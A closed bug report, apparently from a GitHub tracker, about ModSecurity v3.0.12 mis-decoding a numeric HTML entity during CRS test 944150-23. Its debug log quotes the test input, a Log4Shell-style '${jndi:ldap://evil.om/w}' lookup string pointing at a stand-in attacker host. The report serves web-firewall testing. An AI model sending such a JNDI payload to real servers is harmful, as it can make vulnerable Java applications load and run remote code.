Closed
Description
Describe the bug
The following string should be decoded into {
: {
but is instead decoded into \x0000000000000000000000000000000000000000000000123;
.
Logs and dumps
Output of debug log:
[173942934834.266950] [/get] [9] Target value: "localhost" (Variable: REQUEST_HEADERS:Host)
[173942934834.266950] [/get] [9] T (0) t:urlDecodeUni: "${jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9] T (0) t:jsDecode: "${jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9] T (0) t:htmlEntityDecode: "$^@00000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"
[173942934834.266950] [/get] [9] Target value: "$\x0000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}" (Variable: REQUEST_HEADERS:User-Agent)
Notice: Be careful to not leak any confidential information.
To Reproduce
Run CRS test 944150-23
with owasp/modsecurity:4.11.0-nginx-202502070602
.
Expected behavior
The following string should be decoded into {
: {
.
Server (please complete the following information):
- ModSecurity version (and connector): ModSecurity v3.0.12 with nginx-connector v1.0.3
- WebServer: nginx 1.27.3
- OS (and distro): macOS
Rule Set (please complete the following information):
- CRS v4.11.0
Additional context
The changes in v3.0.12 appear to have broken entity decoding. The test works with v3.0.11.